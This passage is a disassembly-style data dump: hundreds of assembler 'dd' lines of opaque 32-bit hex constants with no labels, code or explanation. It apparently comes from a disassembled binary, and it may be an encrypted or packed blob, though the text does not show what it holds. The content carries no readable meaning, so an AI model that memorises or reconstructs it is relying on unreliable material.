		dd 0D9EE1E88h, 0BFCA0567h, 0D6637C84h, 8DD3C7Ah, 83C30BD1h
		dd 591E04FFh, 0A0C38AADh, 2AD95800h, 0C4F32794h, 41239561h
		dd 0AA7F2978h, 68168F99h, 33951EFFh, 0E378B5B8h, 33DACF87h
		dd 158B4F5h, 0EFD0C1B2h, 0E57CE64Bh, 0C85199F7h, 0BC4C19DFh
		dd 0FB9E7F16h, 0DC6F05E6h, 250FBB63h, 1BD122CFh, 68DAC6FDh
		dd 7D92B973h, 9E288FA3h, 381A04CAh, 0A5B8057Bh,	4AFDD5A3h
		dd 64925639h, 3C02EF17h, 28EE4226h, 0D4DD8F8h, 44F29106h
		dd 972DC16Bh, 0FC33C054h, 31D8D52Ah, 0C14516EBh, 65F6DDF2h
		dd 11171BEAh, 21F84CBEh, 2161D3F1h, 59DA990Fh, 4210A6CFh
		dd 2785D8E3h, 5D1F0849h, 0DF6EA79Bh, 9FD3398Ch,	0E0F041CFh
		dd 3EB08D95h, 0E281A3B3h, 368D2ED8h, 3A9F1132h,	7B4E2CEFh
		dd 7393899Dh, 0F339B06Fh, 4562BEC8h, 43174365h,	77D659A6h
		dd 0D7EC05A4h, 0DF5FCB6Ch, 50EC74BFh, 13B275AAh, 0EDFE223Ah
		dd 7538C514h, 0C121C6B9h, 0D0B77E0Bh, 0BCE30B87h, 0D66E2D11h
		dd 70795C36h, 0BDA3A861h, 0E618112Ah, 0F57B37Eh, 0A5DB15D8h
		dd 0B7E5EFC3h, 0AAB66FABh, 0E657BAE0h, 2893C9C9h, 92FED4D5h
		dd 3F418A41h, 0E7FEFC06h, 9E9C642Fh, 0E389F0AFh, 9597A462h
		dd 0F475E9F7h, 4D325BBBh, 0AB5BB0C7h, 0F8D076FCh, 0CAF50FFDh
		dd 81F026A0h, 59DC0339h, 2542747Bh, 0E9A8729Ah,	2CF1DBFAh
		dd 0EDD44076h, 9900DA52h, 5ABE8B3Ch, 5B5B388Dh,	0A418BEDCh
		dd 346FB5BFh, 0BC98728Fh, 64BBF603h, 0E60C824h,	0B276C8DCh
		dd 4BF558F4h, 0F4E488ADh, 74BB61C0h, 0B4CA56BDh, 0D06DEFC7h
		dd 54203AB2h, 0F44F896Eh, 0DB922639h, 783EF7B9h, 6727B2F1h
		dd 78358CFCh, 822CBB7Bh, 1095E583h, 0AB3DA18h, 0F519BCC2h
		dd 242BBA70h, 77D8A8BDh, 148D79F7h, 4EE9E5C8h, 0BAA06DBAh
		dd 0A569296Ah, 5A0CEBB3h, 142B2677h, 0D9388B59h, 0C58D52CCh
		dd 5593B91Eh, 0F7FCA0D3h, 1D2287E0h, 41EB857Bh,	0B493B570h
		dd 2C3A751Bh, 0AA9500E1h, 70DFF6DDh, 3DE15666h,	3B7912F1h
		dd 18AFF9EEh, 0B07532FCh, 0FF1B3D53h, 0D1C893F0h, 89ADCDBBh
		dd 0B6A9F3AAh, 76C20C1h, 0A64A1A76h, 0E0F8455h,	53DF6E95h
		dd 0A6CA1636h, 0C1AB0D71h, 5B562F9h, 8B5D595Ah,	26687C44h
		dd 285250D2h, 4CA237EFh, 5E28F52Fh, 11A5F323h, 0ADF5CF54h
		dd 0C2D171A9h, 29926C5Fh, 5E0471ADh, 0B799DC09h, 817BB593h
		dd 0BB8D0BDh, 23B1DFADh, 1FEA5DD3h, 2E93BF86h, 0BD9E04B2h
		dd 2BC1C749h, 5DA7E0ACh, 0D3317673h, 6A3599E2h,	2C7EF1F4h
		dd 133A9458h, 2E1545ADh, 0C734CE6h, 0AA203B57h,	59DB0782h
		dd 0EF045A7Ah, 46E73019h, 0AB88D58h, 0A7D8EB77h, 5BEC70CAh
		dd 9543FE5Bh, 0C559560h, 0BC5317C7h, 0D4F19D19h, 849C1087h
		dd 0C36115C8h, 0D1AB46C0h, 22296C42h, 652338E2h, 7F699E0Dh
		dd 91A21A3Bh, 0B28BC607h, 0D57FA62h, 5FE11198h,	0F7AF1202h
		dd 70765DE7h, 504DCD4Dh, 0A7F8D9C7h, 0D0EABDBh,	68F060A8h
		dd 0BFA1D607h, 0FDB8567Ch, 1F53B1FDh, 5173EE5h,	92EEB0ACh
		dd 0A7A5C4DBh, 0E033C780h, 347D0587h, 0D14A3E60h, 0E50019D2h
		dd 0BDF0F2FEh, 7211D323h, 6BF3D78Ah, 95A244DCh,	5F961A7Ch
		dd 6F8C5F71h, 66545B28h, 0F08E5AF5h, 0A149DF2Fh, 0D9AC9445h
		dd 0F517F9Eh, 97346A62h, 9F456966h, 91F21F7h, 74987F56h
		dd 0E505340Dh, 0A949B8DBh, 0B18F19BEh, 3469344Dh, 5264EE29h
		dd 0AE552F94h, 932B60BDh, 62F963C4h, 68BBA443h,	16D5E123h
		dd 0EEEF68E1h, 0ABFFC946h, 0BDDAF03Eh, 7EECBBB2h, 0F784408Dh
		dd 926514DEh, 7FAC1461h, 83FFEA14h, 9B695940h, 35B3F446h
		dd 7C8154B3h, 2D19002Eh, 0E811164Eh, 46BF08D2h,	0A6CE40EDh
		dd 0E02876DAh, 0A33EB1D1h, 42D13451h, 71764B25h, 5F07223h
		dd 583843BFh, 99CD2624h, 1305FF61h, 0E1320703h,	3444F82Bh
		dd 9A95536Eh, 20E7E230h, 0DD69A23Bh, 6BFA3E4Ch,	0AD550DA9h
		dd 0A5657DCBh, 0A8C2AA0Ah, 0A3BFED53h, 9B55D527h, 2C7D618Bh
		dd 0EFA23EEDh, 5BDBA24Ah, 1E6C8A4Fh, 0BE0F7697h, 81FBB35Ch
		dd 5C4C1A35h, 364A5C61h, 0B597117Fh, 63D33108h,	0A2ECE34Fh
		dd 7FA9C55Bh, 3C7D771h,	713C5F3Bh, 0BB838FF8h, 0B7115E8Fh
		dd 4C2CC28Ch, 589B25CAh, 0AAD1A5FEh, 93DAD723h,	519F92Ch
		dd 0C1542EF8h, 0EDF5A6Bh, 39658D3Dh, 4CD4D687h,	0EC565CD0h
		dd 60F35F13h, 0A9B842BDh, 867F519Eh, 0F1397400h, 9CB214C1h
		dd 181D8133h, 26FA546Dh, 3D80D8Ah, 7F491897h, 9B3F5999h
		dd 0D244BCF4h, 0B8AF73Ah, 1B81216Eh, 6BB5A6C9h,	39CF0EBh
		dd 0BD81E953h, 7B645706h, 0CE6FE756h, 9764EAA5h, 0D8CE66D0h
		dd 110DBBF7h, 0B72DA2Ah, 1C66C644h, 5123AAADh, 0F0F2DA4h
		dd 9A57F3BCh, 765B2715h, 0AF8643C0h, 0C8F76931h, 15ED7E7h
		dd 0A78BD5A5h, 4F0B4596h, 0BB65EE82h, 0BE6DCCE5h, 3971BCB8h
		dd 0B520A20Dh, 0BF2E4937h, 61FD1ADh, 95FD362Ch,	47194326h
		dd 29AA05C2h, 7BDD46E9h, 47A47636h, 84570434h, 2B44AB6h
		dd 9B984EEh, 52400A98h,	873D1C60h, 55E4E0A8h, 115F7AC0h
		dd 0D556EA37h, 0CB9FEDD2h, 4E1A5538h, 31F6692Bh, 0E4DB48B3h
		dd 79732519h, 0E8128227h, 0E140E1E2h, 0FC2D4746h, 0A697BE6h
		dd 6CC7576Ch, 42EF9C04h, 0D15D69FEh, 0B0C59F46h, 0F432FE28h
		dd 4A68AAAh, 896D7389h,	0F0A453C2h, 363892A9h, 492EFB4Ch
		dd 70FDFEB1h, 96E96019h, 0DB895049h, 0F3F01FCDh, 0D2A72368h
		dd 0DDB8ACA0h, 0E532440Bh, 80B387E1h, 0E35D6740h, 75EAB27Dh
		dd 32903F62h, 0B422FABEh, 0DBF54470h, 831FAB68h, 0DB44072Eh
		dd 0A97C37BDh, 0D179E80Bh, 1A6A536Eh, 5AB05AEDh, 26071D0Dh
		dd 0E47BFE16h, 0EAB3E3F9h
		dd 0F5815741h, 0E70901C5h, 3C98778Ch, 0A866D2EDh, 0D3DF9DEEh
		dd 0E58679B5h, 0D1C2BAC8h, 7FBCA50Dh, 0F974FF46h, 0B4E5CD3Eh
		dd 0EA7D7BA9h, 0E59353E4h, 86D3FD9Eh, 6E910E2Ch, 0DE0B562Eh
		dd 0A4A2A7F1h, 0AEFFFF4h, 10797B61h, 44BED76Dh,	0A5F25523h
		dd 35D64887h, 0D9AFBAD9h, 3ED8E040h, 0AF87D5B8h, 620BB46Fh
		dd 5E9E5767h, 0DD586982h, 55ECBB0h, 6B53E99h, 483F4382h
		dd 63061104h, 0E8C25651h, 12BA6DAFh, 252CE47Ah,	5670539Ah
		dd 0B6BC0AFCh, 25312AB5h, 8552239Fh, 5330EE59h,	7D26F284h
		dd 53A53C8Fh, 43A687EBh, 9E770312h, 0C317F655h,	9CAD6ABDh
		dd 0B90E0F5Eh, 0EED9CEF2h, 6009C0F2h, 958AE9AEh, 0C1B60124h
		dd 30B2A27Fh, 0FF7DB7FEh, 98C830F9h, 9405BBD8h,	0D17B0EECh
		dd 526E4B9Dh, 0FB636509h, 0B8D00AA3h, 0FF093024h, 0FF8F6916h
		dd 4029F454h, 3A6DFE68h, 5B37FBFDh, 538345C0h, 0F501BD62h
		dd 0B7649C31h, 81F4D292h, 0F1BDE225h, 654864ACh, 0D12393A4h
		dd 0B3A7C3D0h, 204AAA42h, 8AAA2A6Ah, 17E32892h,	0DC7097CDh
		dd 6C0FA5FDh, 5EA379D1h, 0EB41E6DFh, 2B25E52h, 0E7EE1ADBh
		dd 0C759A568h, 5F16B29Ah, 989EE285h, 0BD0B6A3Ch, 0F31A270Ah
		dd 0DDEB9AABh, 5D157FAAh, 0FA4152F6h, 0E53AEFCCh, 0BFD4317Ah
		dd 51007727h, 0FB09AE5Fh, 0B3C82EAFh, 62DEE2E0h, 36BBC2BDh
		dd 29CC790Ah, 0D49292D0h, 76DCA280h, 0D537F289h, 0BD0C2256h
		dd 0ED7208D4h, 7405CAA6h, 0A559D882h, 68A9F641h, 1E55B7D2h
		dd 98261578h, 8FD9C868h, 0BA7AD42Ch, 89D0E826h,	0D82CE0Fh
		dd 21F63D12h, 0F5A923F9h, 5C61587Bh, 11909C55h,	0DCAD84A3h
		dd 0C0F01B7Fh, 5E2459BEh, 7989AE3Ch, 587ED1FEh,	37D16F2Eh
		dd 1C60827h, 0B868EFBh,	0FBF42E99h, 184F04CEh, 12E98821h
		dd 50D3B8ABh, 3A46795h,	434E238Eh, 0D7A7C2E9h, 58FBB9C6h
		dd 13811B6Bh, 0E850503Eh, 0A002949Fh, 0C793694Ah, 0D43F381Bh
		dd 754DECD0h, 89C928A9h, 0E878F956h, 2D1E4EB6h,	0B3693D1Bh
		dd 0CAAED2DAh, 9E7AADA4h, 23568B04h, 0AE911EDBh, 21E4079Eh
		dd 383C4EE2h, 0A09EC552h, 0FB1E0865h, 0C7D4472h, 0F3F8565h
		dd 0AAB9BA8Eh, 0D0BC1353h, 0B2FCD743h, 92D1C911h, 5DFF7BAh
		dd 0C1249BE8h, 526D8E3Fh, 0ED9EB200h, 0D887A6A9h, 0C5426060h
		dd 0F4FBE36Bh, 6260B142h, 768B28B2h, 55C63593h,	0D797C7F3h
		dd 0D08C681Bh, 0CEE0F051h, 89D453E7h, 1994D95h,	6F6313Dh
		dd 0DF6BCE7Eh, 6059A368h, 6A1A7C13h, 1F7ED5AFh,	0A62BEA42h
		dd 44FBBE1Fh, 0A7C91A4Ch, 0BE71B498h, 582613E6h, 84F122EEh
		dd 6A2A07DFh, 87E1D81Dh, 0E7F1310Bh, 1A55F355h,	0F0F76587h
		dd 4C41E2C0h, 6BEC507Ch, 9552FC10h, 1453F818h, 6092D5B0h
		dd 0BA126AECh, 0A377EDEEh, 0D2F60DD7h, 90DCCE97h, 0B178AB31h
		dd 0C0920FABh, 0CDC4C1D3h, 0BE663AABh, 4E80A0EDh, 0EEF45D2Bh
		dd 51493A9Dh, 5101E646h, 557399D7h, 6C83A2D6h, 168B1A25h
		dd 379DFDFAh, 5A5E844Bh, 0E0505596h, 0E31FE4EDh, 35A0A2C3h
		dd 6A228320h, 0F77371C3h, 4D27BE95h, 219974BBh,	0FB9075Bh
		dd 5E4FF59Dh, 2ED3D2DEh, 0DF8BBE0Eh, 7D699DCFh,	0D58426BFh
		dd 0B6FE05Bh, 0CC0644FFh, 6CF7D297h, 6505D84h, 0ECC0AB13h
		dd 0F868AEE6h, 6A92C7CFh, 0F80ECD6h, 0CCA8A93Ah, 89E1639Dh
		dd 6611AE68h, 0BA642F0Ah, 988DBABCh, 0BC240618h, 0BE808176h
		dd 5F26FC3Fh, 0D4771D71h, 554E942Ah, 0ED971693h, 580BC0FAh
		dd 0FAB55C3Eh, 0E69F7A35h, 7366A217h, 54BF1BEBh, 0FB5AD4DAh
		dd 0B5162F81h, 88F4B396h, 0AE700FF7h, 0FD07D451h, 0D30BBAABh
		dd 198B3F33h, 15A492CDh, 8FA8E534h, 0BFD479A2h,	42FD661Dh
		dd 531CFE32h, 99F0995h,	946AF74Dh, 6C9B43F1h, 84F71ABDh
		dd 8921FEBh, 1F7EE2ECh,	0DFD068CAh, 0EF30442h, 330C92A5h
		dd 578187AEh, 78BA96CBh, 58EEEC72h, 0A7128D68h,	0BEA46C8Ah
		dd 1AE200ACh, 89820D3Fh, 0E9498489h, 0D484C116h, 0E1D0FD8Dh
		dd 9592EFCFh, 7AA576CFh, 0DAD0C215h, 328EB9FAh,	678A2CF4h
		dd 0A1F02D3h, 4595E95Fh, 0F7E28E9Eh, 0AA80EE43h, 6903917Dh
		dd 0B2BBE3B3h, 0AB8309BEh, 0BDF945B5h, 5BACE185h, 0E28B39EBh
		dd 5AC1C8D9h, 0FCE50FE4h, 83F30FC5h, 7521A448h,	75E7ECCAh
		dd 8A2B1030h, 0F1B46D45h, 741D0CC0h, 0A9789249h, 0CEA5DB6Dh
		dd 0A9FCCABAh, 7347A0BBh, 0F285DE3Dh, 0E955DB2Bh, 2E8567AEh
		dd 2631E106h, 99475417h, 0A0DADBAEh, 0F22F63F5h, 7584E4CBh
		dd 5B8C5479h, 0BD7F1224h, 8981DBEDh, 27BB2CEBh,	0FAE7D80Ah
		dd 0ACBE5B81h, 0E880ABB3h, 92A7268Bh, 44EFFCBFh, 7119280Bh
		dd 6F019A29h, 0AE4072BFh, 0C96FF954h, 0E6396921h, 5BD7D7F6h
		dd 7763D7BBh, 0C579CCB4h, 0D15B194Bh, 83C649C0h, 99CDDDB7h
		dd 0A0D20902h, 0EBE7872Ah, 0EE9A8DFEh, 0E227CFF4h, 0BF8CDF57h
		dd 0B190C399h, 6EFD728h, 35E56A6h, 0F68BF7C3h, 0CA14B623h
		dd 0B1305F8Dh, 0C4AC96CAh, 0CF10E89Fh, 1836A783h, 143F02B9h
		dd 3F1252DAh, 636FAD84h, 0F8A563ECh, 0C04A97E2h, 323E13DDh
		dd 0A1E8ECF5h, 1219A81h, 58CEA355h, 0AA4B3FE1h,	2DA340F9h
		dd 11395EFCh, 1F8FD9EAh, 6F8D8DCAh, 0BB9DA9BBh,	0C8870266h
		dd 96B9EB5Ah, 0E15AB3F9h, 8B8BA5AAh, 13582433h,	0CEC2BC5Fh
		dd 8FA5EC3Bh, 0CA2763BCh, 318F3B3Eh, 0C28BAD1Ah, 0D80AC3CAh
		dd 0B9F89CBAh, 0FF970365h, 82CC91B7h, 0D6140DCAh, 0FF7CC7ADh
		dd 56F6BB70h, 3D46C808h, 2BABB2CFh, 0F054E5C0h,	0F6FBAB43h
		dd 6DF3FEB3h, 6BC28E7h,	0B2898B01h, 0BE82082Eh,	39DFF48Eh
		dd 84E06823h, 75DC440Fh, 7E5CCBBh, 0E6DCF896h, 0F9C6DECAh
		dd 0F8EF9BB1h, 227BC739h, 0FF0F1C84h, 54FD72D6h, 0BF0E7CFDh
		dd 0BF3CAE58h, 4BBB8185h, 0B7833590h, 8C4AB282h, 37F878E2h
		dd 824BD1D1h, 0F8C999D6h, 4EC0F981h, 30FE2931h,	0A618967Ah
		dd 0DAE2AC45h, 4556385Ah, 3D9F84C6h, 0FB70F730h, 7E0B5587h
		dd 14DC585Ah, 0A37D6BC6h, 42D41700h, 57C46894h,	9E14D26Fh
		dd 0C9145F24h, 725B48BDh, 6292C5BEh, 899F8B33h,	0B4987F1h
		dd 0CF3CE3A3h, 3B50963Eh, 3B804A17h, 0BE3E6CD1h, 0F4082D27h
		dd 0C5778AD9h, 0DCAE88BEh, 2ECF229Ah, 0F5A99DC6h, 0FDF1575Ch
		dd 73255A28h, 0FD950366h, 0CB89039Bh, 4A9DE6AFh, 0B721A1DCh
		dd 13829FD2h, 0E42D0BDEh, 0E44DF50Bh, 0A0DF905Ch, 0E1395BC1h
		dd 0C5637570h, 0E5B8D15Dh, 6B476310h, 0AA3DF095h, 5A35C6BAh
		dd 0E431C4B1h, 0D4E214CDh, 6F061947h, 5816D1Fh,	8BBC7FA8h
		dd 0B455C316h, 0FDE24E0Fh, 0F341E7B4h, 551F0B4Dh, 0BD607BCAh
		dd 0B0D908ADh, 6A6CDBBDh, 1FBCC271h, 37679D69h,	56C33178h
		dd 9E4B5388h, 0FF7A2F10h, 12CF649Bh, 8C98B67Fh,	9138755Dh
		dd 0B6792B1h, 2935F56Dh, 89946F2Bh, 0DA69DEE9h,	6DBD2B2Ch
		dd 0B919CAEFh, 0A744649Eh, 3E140805h, 227F2F98h, 0EE425043h
		dd 4EF6813Eh, 0D37B1E5Ch, 80C489A7h, 6521A8E0h,	5211D0E1h
		dd 6FB36F3Ch, 9620E5C0h, 37EB963Ah, 9CD3C77h, 491D451Fh
		dd 47A28301h, 0F72AAB5Eh, 11311C9Dh, 0A2C0B2A6h, 0DE2EBD61h
		dd 3BEFA335h, 0B82C0E58h, 4B1BB20Ah, 4E3108CDh,	6B0F5955h
		dd 0FE2BAE13h, 697A3990h, 6079D0CDh, 4E47EEA8h,	0F13EB049h
		dd 0DAFA11C1h, 612B9496h, 0AC1693B0h, 78296810h, 0B5A8D8BCh
		dd 4468A46Dh, 7480CAA1h, 0FA5B404Dh, 0F80AA77Ch, 5FB25D4Ch
		dd 236FFF1Ch, 5901D757h
		dd 245244B1h, 0ADD2456h, 6022F75Bh, 7C34D605h, 268028ABh
		dd 0DB5D8D5Ah, 0B3BCBB2Ah, 554E32D6h, 7AAD5B69h, 781BDB49h
		dd 0B12B43F0h, 4E67B34Ah, 0AC1781AEh, 29361192h, 0AE03E0C7h
		dd 0A3618C3Ah, 0C1EE36E0h, 0F6AE5909h, 10FDF840h, 0CAA2B06h
		dd 0FC02BD02h, 0E320DE09h, 1DCA98A3h, 0CF5BA5B1h, 0E4F461Dh
		dd 0E115AB77h, 2B3807F3h, 0A4EBE717h, 5E3DF5EEh, 5F911E96h
		dd 50B9D604h, 9BFE17D5h, 666B8061h, 87E3F415h, 0A80A2935h
		dd 0E4EBAAD0h, 4B66AB1Eh, 0B7CAE2B1h, 5ECC6818h, 152FB4FBh
		dd 4D0DFCADh, 0C217A3C9h, 0E673C3AAh, 82D62F26h, 0BEA99658h
		dd 0BD0A6938h, 0ED57728Eh, 0B467D12Ch, 4D524B50h, 379FA7BBh
		dd 3052B6CDh, 0BD7C7079h, 90E09EB8h, 0C7480C76h, 0FDD8C480h
		dd 0ED7A249h, 1E845F78h, 84FE2A38h, 0EF8DE393h,	0FA9503D5h
		dd 4B6399E0h, 3313E2EAh, 484B5546h, 1BFCD7CEh, 59FDF1E7h
		dd 170E3751h, 1ADC946Dh, 0D2CA1B5Dh, 161A47F2h,	3CF63371h
		dd 37757C97h, 0F2755D0Ch, 0D7CCADCAh, 884E91Ch,	7D54EC0Bh
		dd 0D6A9EE37h, 3E19B66Eh, 50915365h, 5F278B4Fh,	6A67F45h
		dd 77B389C4h, 0FD54AB3h, 779A0267h, 0CDE08EA8h,	0CF474124h
		dd 4B05622h, 9040A703h,	0DBE8394Ch, 83C5513Ch, 0DF6CDFBFh
		dd 0EB9E87FDh, 20050BB8h, 484C77F3h, 4053303Bh,	28DE46Eh
		dd 1D93CB91h, 212F8BF2h, 3E3E812h, 0C8F9BCD7h, 0E4B1FF49h
		dd 0E4BF8BFAh, 0EA9458F5h, 0C745EF53h, 0D3EBDFC2h, 0C053D168h
		dd 5DCFC7C2h, 8C72D64h,	786C3B73h, 0E6C1F195h, 0A6BA5162h
		dd 79984237h, 0B62858DBh, 5C120AF1h, 0A2E2C82h,	488CA1C9h
		dd 0E7EE314h, 419E7D82h, 27C6A10Fh, 0C0E8DC2Bh,	9D1BBA8Dh
		dd 37DD7E1Fh, 0BE3F31E2h, 0AF7B0DDCh, 0B54E03F2h, 8766759Ah
		dd 0AA03F0D2h, 0C3367FDDh, 0B278C817h, 0FDF75C6Bh, 0EBF44F62h
		dd 61CE6C3Ah, 79BC6A67h, 4E34B60Ah, 3D000515h, 0A8E2F6D8h
		dd 48802B77h, 0B858E992h, 0FFF31EC0h, 35891F35h, 399958EFh
		dd 398D7923h, 0F70B2AB4h, 46A982C6h, 8F0C5B77h,	0F0545A15h
		dd 0DF37F4C6h, 16B31B1h, 0A568F55Ch, 7BE79D9Ah,	0C52CD340h
		dd 741001B3h, 0A5576A93h, 70D39D3Eh, 0D1B43EABh, 0EEA07075h
		dd 0EFD4DA6Ah, 0E1AD5307h, 0D6F17Dh, 0AC2BDBE1h, 4EEFBF70h
		dd 0C14BB298h, 0DFBCD3DAh, 0E128F866h, 5A3F2F88h, 17D2F81Eh
		dd 1B299435h, 3A7D7FF3h, 7E2B8CA8h, 5F6CD208h, 0F5E053A5h
		dd 5EBD9EC2h, 99669D57h, 1059CFF2h, 0C28365D1h,	86D2E4B1h
		dd 0C2BAB224h, 0BBAD298Ch, 0EABC90F6h, 0C712037Eh, 0B255FE6Dh
		dd 0DEDD679Eh, 0ABC3ED17h, 51142E78h, 0ED4F4617h, 3FD4B182h
		dd 0DD8E2168h, 7438DB52h, 67256E6Dh, 0DAC92388h, 839F1899h
		dd 0F1F5B97Dh, 8AE4E5D8h, 0AD44A9B8h, 0B48F684Ah, 0B3499B0Fh
		dd 748ADC03h, 0D78003CDh, 310FF805h, 0BD63622Dh, 0BB0D889Ah
		dd 6E7F5409h, 11064BE9h, 0DDE8202Ah, 0A0E1093Eh, 0DF697A08h
		dd 0EB7F03C5h, 0C0A1EFB0h, 88E9B3CEh, 54D77F0Bh, 153FA8AFh
		dd 0BD11D009h, 3F072E2Ah, 0AE3301A4h, 358AA785h, 0B4579C3Fh
		dd 8D9BC75Fh, 989C26B4h, 685DE0C9h, 0C9E4E162h,	28386AD6h
		dd 8C580F8Ah, 0AECC7B03h, 0DE2FD094h, 8FB69628h, 0ADAAF6ABh
		dd 6D496E21h, 0E5FE2D7Eh, 6789FC22h, 21577CBCh,	0B7DBCE3Bh
		dd 202972A9h, 5A7A7E19h, 0D8E51A92h, 69C08830h,	8D4C2ECEh
		dd 1B4B3B4Ch, 0A49DD794h, 754C2B6Ch, 8F237196h,	790FE607h
		dd 0DB0EA5E6h, 9935124h, 0A03E9CA3h, 30D9546Fh,	0CDE7A36Fh
		dd 0D8C4EF7Ah, 0C0D3DBD3h, 0A9526FE1h, 0B993A982h, 5CF67DFh
		dd 0EBE3D7A0h, 11FB7F75h, 276AA067h, 0D7BC5CCCh, 4627E07Dh
		dd 17DF2C12h, 0DD1D10F9h, 0A2398445h, 0CEA45BB3h, 0EC62D6C5h
		dd 85C6AF7h, 5915CBE8h,	97FAFDA3h, 0F2F6AFC5h, 787B0D95h
		dd 7E44F857h, 9C8D1E71h, 4AD53ACDh, 0ADDF3915h,	1E52146Dh
		dd 278D17D8h, 534D2641h, 0F63D3201h, 0D42ECE71h, 0F451C9Dh
		dd 0A87426BBh, 30554739h, 5198C031h, 0D49343E6h, 99687569h
		dd 0D62E295Ch, 3D72F00Ah, 0E82B381Fh, 0AA95EDC5h, 0EDACB06Ch
		dd 0F916C91Eh, 0E4DCE77h, 0C0EB4599h, 46509ADBh, 0B0AFA9F4h
		dd 3FC0AC51h, 0ABFB94D7h, 823373A5h, 2DCC5CF3h,	0B8F2FCAAh
		dd 0EDB6D98Ch, 0D14FDA68h, 80735B1Eh, 7F05F7C7h, 41E105BFh
		dd 6906DBC3h, 0E4F0CE9Dh, 0EBA6FF62h, 0FF23FC06h, 54F1DA72h
		dd 0F7922398h, 0C401C5EBh, 0CB0375E8h, 56715B15h, 3CEEDD9Bh
		dd 8F1FD42Ch, 911856F8h, 303FAC0Bh, 2B42DCh, 565A57F5h
		dd 0EEEDF28Dh, 6F46E53Ah, 952DA891h, 18ED25FAh,	0F8FB446Dh
		dd 0CDA1FCEh, 0DF87528Fh, 0F2D76C97h, 94C67D84h, 0E89AB02Eh
		dd 4B12D1E6h, 0E4CAB62Ch, 7DB4F1D4h, 6888679Fh,	3B6AD31Dh
		dd 0E6613AE3h, 8D32756Dh, 0A8CF2D7Dh, 0A85084A4h, 9A92AEF6h
		dd 0ABB7DC3Ah, 0CE62E778h, 0D5A2E352h, 6701744Bh, 4BD8BA54h
		dd 87E04B52h, 27F950F2h, 264979D4h, 130A1116h, 5329AE1Bh
		dd 8D775782h, 29E07C18h, 0A2CD8EBBh, 4516F09Dh,	0F2E8D486h
		dd 89DF559Dh, 0E8AA1936h, 753A7070h, 0FFC6AC10h, 17A3C8DCh
		dd 5ED1E2EBh, 0FF2E782h, 0A9DAAD3Ah, 585D4B72h,	85E11EBDh
		dd 880100D3h, 0FB2337E0h, 0F8E15D97h, 5B2BFD93h, 0D5537A60h
		dd 7BAEC570h, 6F277EFFh, 63E0DB8Fh, 27EDE34Ch, 154EE518h
		dd 7ED5FB7h, 0D1A3E741h, 252A3150h, 45CEB055h, 0DF423D61h
		dd 7103FF69h, 0E43A9B9Dh, 0AACADF94h, 1208783Ah, 252DBD20h
		dd 0FCB4DBAEh, 2FC337C5h, 3ECA2134h, 23AB7F14h,	5D220B9Dh
		dd 87A90A9Dh, 0C1DBB826h, 562D1F83h, 33EAD8C5h,	3D7515CCh
		dd 25D950B6h, 920B2153h, 4F645539h, 95B70857h, 65E657E2h
		dd 703C5607h, 3B6DE045h, 0D299FD0Dh, 0A0FE8304h, 568DCAD3h
		dd 90F54D74h, 0FB878D8Ah, 17FA4DEBh, 11F7F55Fh,	47DE77A1h
		dd 7F9E028Bh, 0F8DE7397h, 8EF7A876h, 9C2B7EB9h,	425C2A0Eh
		dd 95ED5CB3h, 0EDE0B14Ch, 0BE11691Ah, 0EB175499h, 0D0A35E6Eh
		dd 1CEB129Dh, 636210FCh, 809B4EA2h, 10B84E2Fh, 70EC546Dh
		dd 6B02A70Bh, 12C8B4D3h, 0F878ECDFh, 830F261h, 5CFD37CCh
		dd 26763D0Eh, 22CB4180h, 26273125h, 9234C198h, 0AD1485ACh
		dd 11DA0E55h, 0DAB8288Fh, 4D5BDEACh, 0B4783E55h, 1AD573A4h
		dd 0C3C0FD18h, 547E3A1Dh, 69DF5E3Eh, 3F220978h,	4FC7DF8Eh
		dd 66138183h, 9CE2A2DEh, 0B60FC289h, 0B840A77Fh, 0C4033605h
		dd 6232E125h, 590D2D69h, 699FE93Eh, 0DF43BF11h,	59DA38EFh
		dd 0BBD75BEFh, 0E10F949Dh, 0A16075D2h, 0F6AFC7D7h, 2C6E1C1h
		dd 0E0B49895h, 0CA60A2F9h, 362843B2h, 0F50DB6E2h, 16509DDDh
		dd 0A4803BB1h, 0CD55C3A8h, 500157B5h, 0B066704h, 51302CF2h
		dd 76B8110Ch, 0D81091E6h, 0B8123EE8h, 0D67AEFA3h, 0E39DFB6Ah
		dd 0E6C5125Fh, 3835DC41h, 5F93F839h, 0D4A90A40h, 1F9EFBAEh
		dd 0B7FB8A62h, 601BE211h, 0BA54FEA8h, 0DE6BC8C6h, 702FB4CDh
		dd 0C056383Dh, 51D9CD45h, 47548DCEh, 56B3376h, 685CB56Fh
		dd 903A1AB3h, 563B3154h, 1721B9F7h, 0AE0743F2h,	94E1EDEDh
		dd 0BAA0D1ACh, 0C33E62C8h, 0A3B8A11Ch, 0BEF8A54h, 0DEDD7B87h
		dd 0E931866Fh, 7A0B0FC6h, 0AAB24DADh, 0BB4C6675h, 0E08955FEh
		dd 9F0F62B2h, 0B46CA6C8h, 0CF70686Dh, 7B7CBFD9h, 69F51613h
		dd 38216D0Bh, 91F68DF4h, 0CFABE19Dh, 93291DF0h,	990DF750h
		dd 2737C057h, 884355CEh
		dd 29A55796h, 0DEA97696h, 0C7F0B6CAh, 0D89A6390h, 0A879EEACh
		dd 0B32F9C28h, 652A02E2h, 5CE146ECh, 3B69AEADh,	0FBE477D4h
		dd 66DAAE0Eh, 98DAB304h, 3EA1AABBh, 3C8928D3h, 6CE5010h
		dd 44C52281h, 5F7E5D01h, 7166EB6Bh, 34123F36h, 0B24507Dh
		dd 0EC7E23F4h, 0F54E0E8Bh, 124D36B0h, 224982A6h, 0BB3167A3h
		dd 0BE22DC11h, 888F3E0Fh, 0EDE7A6B1h, 95622BC0h, 3CAD5041h
		dd 0ABE1DA8Dh, 0A93642E2h, 6383FA7Ah, 2AC3F4Ch,	0C3C186B4h
		dd 2D7F1D4Ch, 845D2339h, 0B12147A6h, 303CF01Bh,	16FFE7EBh
		dd 9FD53E85h, 795E7805h, 8867C810h, 0B4957591h,	0FE338110h
		dd 0FCDE3894h, 3DDD68FAh, 92D0C49h, 51A24523h, 0B62D41F6h
		dd 0DA2C1455h, 4EC87C55h, 0E8770D0Eh, 30ABF02h,	59879A7h
		dd 0DDE5B75Fh, 0EB28061Ch, 0DA044EB3h, 0FCE8A06Dh, 0A1822BABh
		dd 9AE10117h, 456A18ECh, 7D8D9A65h, 0BEE73136h,	6F9751F8h
		dd 0F0D6EE26h, 1D4CD7D5h, 0DB208D66h, 0AA2B7525h, 100A71DDh
		dd 0F0FCD6EDh, 4CFAD727h, 0CE2B4631h, 0CB2CD1D8h, 87AD59A7h
